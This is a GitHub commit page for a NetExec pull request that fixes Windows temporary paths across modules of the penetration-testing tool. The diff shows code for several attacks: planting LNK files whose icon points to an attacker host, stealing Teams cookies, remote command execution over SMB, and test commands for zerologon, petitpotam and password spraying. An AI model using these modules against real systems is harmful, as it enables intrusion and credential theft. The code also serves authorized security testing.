Skip to content

Commit

Permalink
Merge pull request #326 from Pennyw0rth/marshall-windows-fixes
Browse files Browse the repository at this point in the history
Windows Fixes for v1.2
  • Loading branch information
NeffIsBack authored May 29, 2024
2 parents b855dac + 8db769e commit 64319fd
Show file tree
Hide file tree
Showing 13 changed files with 93 additions and 62 deletions.
2 changes: 2 additions & 0 deletions netexec.spec
Original file line number Diff line number Diff line change
Expand Up @@ -67,8 +67,10 @@ a = Analysis(
'dploot.triage.browser',
'dploot.triage.credentials',
'dploot.triage.masterkeys',
'dploot.triage.mobaxterm',
'dploot.triage.backupkey',
'dploot.triage.wifi',
'dploot.triage.sccm',
'dploot.lib.target',
'dploot.lib.smb',
'pyasn1_modules.rfc5652',
Expand Down
10 changes: 5 additions & 5 deletions nxc/modules/pi.py
Original file line number Diff line number Diff line change
@@ -1,8 +1,8 @@
from base64 import b64decode
from sys import exit
from os import path
from os.path import abspath, join, isfile

from nxc.paths import DATA_PATH
from nxc.paths import DATA_PATH, TMP_PATH


class NXCModule:
Expand All @@ -25,7 +25,7 @@ def options(self, context, module_options):
self.pi = "pi.exe"
self.useembeded = True
self.pid = self.cmd = ""
with open(path.join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
self.pi_embedded = b64decode(pi_file.read())

if "EXEC" in module_options:
Expand All @@ -36,11 +36,11 @@ def options(self, context, module_options):

def on_admin_login(self, context, connection):
if self.useembeded:
file_to_upload = "/tmp/pi.exe"
file_to_upload = abspath(join(TMP_PATH, "pi.exe"))
with open(file_to_upload, "wb") as pm:
pm.write(self.pi_embedded)
else:
if path.isfile(self.imp_exe):
if isfile(self.imp_exe):
file_to_upload = self.imp_exe
else:
context.log.error(f"Cannot open {self.imp_exe}")
Expand Down
10 changes: 6 additions & 4 deletions nxc/modules/procdump.py

Large diffs are not rendered by default.

3 changes: 2 additions & 1 deletion nxc/modules/schtask_as.py
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import tsch, transport
from nxc.helpers.misc import gen_random_string
from nxc.paths import TMP_PATH
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY


Expand Down Expand Up @@ -255,7 +256,7 @@ def execute_handler(self, command, fileless=False):
if fileless:
while True:
try:
with open(os.path.join("/tmp", "nxc_hosted", self.__output_filename)) as output:
with open(os.path.join(TMP_PATH, self.__output_filename)) as output:
self.output_callback(output.read())
break
except OSError:
Expand Down
27 changes: 16 additions & 11 deletions nxc/modules/slinky.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
import pylnk3
import ntpath
from sys import exit

from nxc.paths import TMP_PATH

class NXCModule:
"""
Expand All @@ -18,11 +18,12 @@ class NXCModule:

def __init__(self):
self.server = None
self.file_path = None
self.lnk_path = None
self.remote_file_path = None
self.local_lnk_path = None
self.lnk_name = None
self.ico_uri = None
self.shares = None
self.ignore_shares = ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]
self.cleanup = None

def options(self, context, module_options):
Expand All @@ -31,6 +32,7 @@ def options(self, context, module_options):
NAME LNK file name written to the share(s)
ICO_URI Override full ICO path (e.g. http://192.168.1.2/evil.ico or \\\\192.168.1.2\\testing_path\\icon.ico)
SHARES Specific shares to write to (comma separated, e.g. SHARES=share1,share2,share3)
IGNORE Specific shares to ignore (comma separated, default: C$,ADMIN$,NETLOGON,SYSVOL)
CLEANUP Cleanup (choices: True or False)
"""
self.cleanup = False
Expand All @@ -46,6 +48,10 @@ def options(self, context, module_options):
if "SHARES" in module_options:
self.shares = module_options["SHARES"].split(",")
context.log.debug(f"Shares to write to: {self.shares}")

if "IGNORE" in module_options:
self.ignore_shares = module_options["IGNORE"].split(",")
context.log.debug(f"Ignoring shares: {self.ignore_shares}")

if not self.cleanup and "SERVER" not in module_options:
context.log.fail("SERVER option is required!")
Expand All @@ -57,12 +63,12 @@ def options(self, context, module_options):


self.lnk_name = module_options["NAME"]
self.lnk_path = f"/tmp/{self.lnk_name}.lnk"
self.file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
self.local_lnk_path = f"{TMP_PATH}/{self.lnk_name}.lnk"
self.remote_file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")

if not self.cleanup:
self.server = module_options["SERVER"]
link = pylnk3.create(self.lnk_path)
link = pylnk3.create(self.local_lnk_path)
link.icon = self.ico_uri if self.ico_uri else f"\\\\{self.server}\\icons\\icon.ico"
link.save()

Expand All @@ -73,23 +79,22 @@ def on_login(self, context, connection):
context.log.add_file_log(slinky_logger)

for share in shares:
# TODO: these can be written to - add an option to override these
if "WRITE" in share["access"] and share["name"] not in ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]:
if "WRITE" in share["access"] and share["name"] not in self.ignore_shares:
if self.shares is not None and share["name"] not in self.shares:
context.log.debug(f"Did not write to {share['name']} share as it was not specified in the SHARES option")
continue

context.log.success(f"Found writable share: {share['name']}")
if not self.cleanup:
with open(self.lnk_path, "rb") as lnk:
with open(self.local_lnk_path, "rb") as lnk:
try:
connection.conn.putFile(share["name"], self.file_path, lnk.read)
connection.conn.putFile(share["name"], self.remote_file_path, lnk.read)
context.log.success(f"Created LNK file on the {share['name']} share")
except Exception as e:
context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
else:
try:
connection.conn.deleteFile(share["name"], self.file_path)
connection.conn.deleteFile(share["name"], self.remote_file_path)
context.log.success(f"Deleted LNK file on the {share['name']} share")
except Exception as e:
context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")
30 changes: 16 additions & 14 deletions nxc/modules/spider_plus.py
Original file line number Diff line number Diff line change
@@ -1,8 +1,10 @@
import json
import errno
import os
from os.path import abspath, join, split, exists, splitext, getsize, sep
from os import makedirs, remove, stat
import time
import traceback
from nxc.paths import TMP_PATH
from nxc.protocols.smb.remotefile import RemoteFile
from impacket.smb3structs import FILE_READ_DATA
from impacket.smbconnection import SessionError
Expand Down Expand Up @@ -36,7 +38,7 @@ def human_time(timestamp):
def make_dirs(path):
"""Creates directories at the given path. It handles the exception `os.errno.EEXIST` that may occur if the directories already exist."""
try:
os.makedirs(path)
makedirs(path)
except OSError as e:
if e.errno != errno.EEXIST:
raise
Expand Down Expand Up @@ -170,13 +172,13 @@ def get_file_save_path(self, remote_file):
The folder path and filename are then obtained separately.
"""
# Remove the backslash before the remote host part and replace slashes with the appropriate path separator
remote_file_path = str(remote_file)[2:].replace("/", os.path.sep).replace("\\", os.path.sep)
remote_file_path = str(remote_file)[2:].replace("/", sep).replace("\\", sep)

# Split the path to obtain the folder path and the filename
folder, filename = os.path.split(remote_file_path)
folder, filename = split(remote_file_path)

# Join the output folder with the folder path to get the final local folder path
folder = os.path.join(self.output_folder, folder)
folder = join(self.output_folder, folder)

return folder, filename

Expand Down Expand Up @@ -283,7 +285,7 @@ def parse_file(self, share_name, file_path, file_info):
return

# Check file extension filter.
_, file_extension = os.path.splitext(file_path)
_, file_extension = splitext(file_path)
if file_extension:
self.stats["file_exts"].add(file_extension.lower())
if file_extension.lower() in self.exclude_exts:
Expand All @@ -306,10 +308,10 @@ def parse_file(self, share_name, file_path, file_info):

# Check if the file is already downloaded and up-to-date.
file_dir, file_name = self.get_file_save_path(remote_file)
download_path = os.path.join(file_dir, file_name)
download_path = join(file_dir, file_name)
needs_update_flag = False
if os.path.exists(download_path):
if file_modified_time <= os.stat(download_path).st_mtime and os.path.getsize(download_path) == file_size:
if exists(download_path):
if file_modified_time <= stat(download_path).st_mtime and getsize(download_path) == file_size:
self.logger.info(f'File already downloaded "{file_path}" => "{download_path}".')
self.stats["num_files_unmodified"] += 1
return
Expand Down Expand Up @@ -348,7 +350,7 @@ def save_file(self, remote_file, share_name):
remote_file.seek(0, 0)

folder, filename = self.get_file_save_path(remote_file)
download_path = os.path.join(folder, filename)
download_path = join(folder, filename)

# Create the subdirectories based on the share name and file path.
self.logger.debug(f"Creating folder '{folder}'")
Expand All @@ -365,8 +367,8 @@ def save_file(self, remote_file, share_name):
self.logger.fail(f'Error writing file "{download_path}" from share "{share_name}": {e}')

# Check if the file is empty and should not be.
if os.path.getsize(download_path) == 0 and remote_file.get_filesize() > 0:
os.remove(download_path)
if getsize(download_path) == 0 and remote_file.get_filesize() > 0:
remove(download_path)
remote_path = str(remote_file)[2:]
self.logger.fail(f'Unable to download file "{remote_path}".')

Expand All @@ -375,7 +377,7 @@ def dump_folder_metadata(self, results):
The results are formatted with indentation and sorted keys before being written to the file.
"""
metadata_path = os.path.join(self.output_folder, f"{self.host}.json")
metadata_path = join(self.output_folder, f"{self.host}.json")
try:
with open(metadata_path, "w", encoding="utf-8") as fd:
fd.write(json.dumps(results, indent=4, sort_keys=True))
Expand Down Expand Up @@ -498,7 +500,7 @@ def options(self, context, module_options):
self.exclude_filter = get_list_from_option(module_options.get("EXCLUDE_FILTER", "print$,ipc$"))
self.exclude_filter = [d.lower() for d in self.exclude_filter] # force case-insensitive
self.max_file_size = int(module_options.get("MAX_FILE_SIZE", 50 * 1024))
self.output_folder = module_options.get("OUTPUT_FOLDER", os.path.join("/tmp", "nxc_spider_plus"))
self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(TMP_PATH, "nxc_spider_plus")))

def on_login(self, context, connection):
context.log.display("Started module spidering_plus with the following options:")
Expand Down
6 changes: 4 additions & 2 deletions nxc/modules/teams_localdb.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,6 @@
import sqlite3
from nxc.paths import TMP_PATH
from os.path import abspath, join


class NXCModule:
Expand All @@ -16,7 +18,7 @@ def on_admin_login(self, context, connection):
connection.execute("taskkill /F /T /IM teams.exe")
found = 0
paths = connection.spider("C$", folder="Users", regex=["[a-zA-Z0-9]*"], depth=0)
with open("/tmp/teams_cookies2.txt", "wb") as f:
with open(abspath(join(TMP_PATH, "teams_cookies2.txt")), "wb") as f:
for path in paths:
try:
connection.conn.getFile("C$", path + "/AppData/Roaming/Microsoft/Teams/Cookies", f.write)
Expand All @@ -37,7 +39,7 @@ def on_admin_login(self, context, connection):
@staticmethod
def parse_file(context, name):
try:
conn = sqlite3.connect("/tmp/teams_cookies2.txt")
conn = sqlite3.connect(abspath(join(TMP_PATH, "teams_cookies2.txt")))
c = conn.cursor()
c.execute("SELECT value FROM cookies WHERE name = '" + name + "'")
row = c.fetchone()
Expand Down
2 changes: 2 additions & 0 deletions nxc/netexec.py
Original file line number Diff line number Diff line change
Expand Up @@ -23,6 +23,8 @@
from sys import exit
from rich.progress import Progress
import platform
if sys.stdout.encoding == "cp1252":
sys.stdout.reconfigure(encoding="utf-8")

# Increase file_limit to prevent error "Too many open files"
if platform.system() != "Windows":
Expand Down
7 changes: 5 additions & 2 deletions nxc/paths.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,9 +3,12 @@
import nxc

NXC_PATH = os.path.expanduser("~/.nxc")
TMP_PATH = os.getenv("LOCALAPPDATA") + "\\Temp\\nxc_hosted" if os.name == "nt" else os.path.join("/tmp", "nxc_hosted")
if hasattr(sys, "getandroidapilevel"):
if os.name == "nt":
TMP_PATH = os.getenv("LOCALAPPDATA") + "\\Temp\\nxc_hosted"
elif hasattr(sys, "getandroidapilevel"):
TMP_PATH = os.path.join("/data", "data", "com.termux", "files", "usr", "tmp", "nxc_hosted")
else:
TMP_PATH = os.path.join("/tmp", "nxc_hosted")

CERT_PATH = os.path.join(NXC_PATH, "nxc.pem")
CONFIG_PATH = os.path.join(NXC_PATH, "nxc.conf")
Expand Down
7 changes: 4 additions & 3 deletions nxc/protocols/smb/smbexec.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,7 @@
from time import sleep
from impacket.dcerpc.v5 import transport, scmr
from nxc.helpers.misc import gen_random_string
from nxc.paths import TMP_PATH
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE


Expand Down Expand Up @@ -95,7 +96,7 @@ def execute_remote(self, data):

command = self.__shell + "echo " + data + f" ^> \\\\%COMPUTERNAME%\\{self.__share}\\{self.__output} 2^>^&1 > %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c del %TEMP%\\{self.__batchFile}" if self.__retOutput else self.__shell + data

with open(path_join("/tmp", "nxc_hosted", self.__batchFile), "w") as batch_file:
with open(path_join(TMP_PATH, self.__batchFile), "w") as batch_file:
batch_file.write(command)

self.logger.debug("Hosting batch file with command: " + command)
Expand Down Expand Up @@ -179,7 +180,7 @@ def execute_fileless(self, data):

command = self.__shell + data + f" ^> \\\\{local_ip}\\{self.__share_name}\\{self.__output}" if self.__retOutput else self.__shell + data

with open(path_join("/tmp", "nxc_hosted", self.__batchFile), "w") as batch_file:
with open(path_join(TMP_PATH, self.__batchFile), "w") as batch_file:
batch_file.write(command)

self.logger.debug("Hosting batch file with command: " + command)
Expand Down Expand Up @@ -214,7 +215,7 @@ def get_output_fileless(self):

while True:
try:
with open(path_join("/tmp", "nxc_hosted", self.__output), "rb") as output:
with open(path_join(TMP_PATH, self.__output), "rb") as output:
self.output_callback(output.read())
break
except OSError:
Expand Down
1 change: 1 addition & 0 deletions tests/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -8,4 +8,5 @@
* Install nxc (either in venv or via Poetry): `poetry install --with dev`
* Run `python tests/e2e_tests.py -t $IP -u $USER -p $PASS`, with optional `-k` parameter
* Poetry: `poetry run python tests/e2e_tests.py -t $IP -u $USER -p $PASS`
* For testing standalone binaries (e.g. windows) run: `python tests/e2e_tests.py --executable dist/nxc.exe -t $IP -u $USER -p $PASS`
* To see full errors (that might show real errors not caught by checking the exit code), run with the `--errors` flag
18 changes: 9 additions & 9 deletions tests/e2e_commands.txt
Original file line number Diff line number Diff line change
Expand Up @@ -28,9 +28,9 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig --exec-method atexec
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig --exec-method smbexec
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig --exec-method mmcexec
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --put-file TEST_NORMAL_FILE C:\Windows\Temp\test_file.txt
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --put-file TEST_NORMAL_FILE C:\Windows\Temp\test_file.txt --put-file TEST_NORMAL_FILE C:\Windows\Temp\test_file2.txt
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --get-file C:\Windows\Temp\test_file.txt /tmp/test_file.txt
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --put-file TEST_NORMAL_FILE \\Windows\\Temp\\test_file.txt
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --put-file TEST_NORMAL_FILE \\Windows\\Temp\\test_file.txt --put-file TEST_NORMAL_FILE \\Windows\\Temp\\test_file2.txt
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --get-file \\Windows\\Temp\\test_file.txt /tmp/test_file.txt
##### SMB PowerShell
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --exec-method atexec
Expand Down Expand Up @@ -135,9 +135,9 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler
netexec smb TARGET_HOST -u '' -p '' -M zerologon
netexec smb TARGET_HOST -u '' -p '' -M petitpotam
##### SMB Auth File
netexec smb TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE--no-bruteforce
netexec smb TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE--no-bruteforce --continue-on-success
netexec smb TARGET_HOST -u TEST_USER_FILE -p data/test_passwords.txt
netexec smb TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce
netexec smb TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce --continue-on-success
netexec smb TARGET_HOST -u TEST_USER_FILE -p tests/data/test_passwords.txt
##### WMI
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --wmi-namespace root/cimv2
Expand Down Expand Up @@ -227,8 +227,8 @@ netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD
netexec ssh TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce
netexec ssh TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce --continue-on-success
netexec ssh TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --key-file data/test_key.priv
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p '' --key-file data/test_key.priv
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --key-file tests/data/test_key.priv
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p '' --key-file tests/data/test_key.priv
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo-check-method sudo-stdin
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo-check-method sudo-stdin --get-output-tries 10
Expand All @@ -237,7 +237,7 @@ netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo-
##### FTP- Default test passwords and random key; switch these out if you want correct authentication
netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD
netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --ls
netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --put data/test_file.txt test_file.txt
netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --put tests/data/test_file.txt test_file.txt
netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --get test_file.txt
netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce
netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce --continue-on-success
Expand Down
Loading

0 comments on commit 64319fd

Please sign in to comment.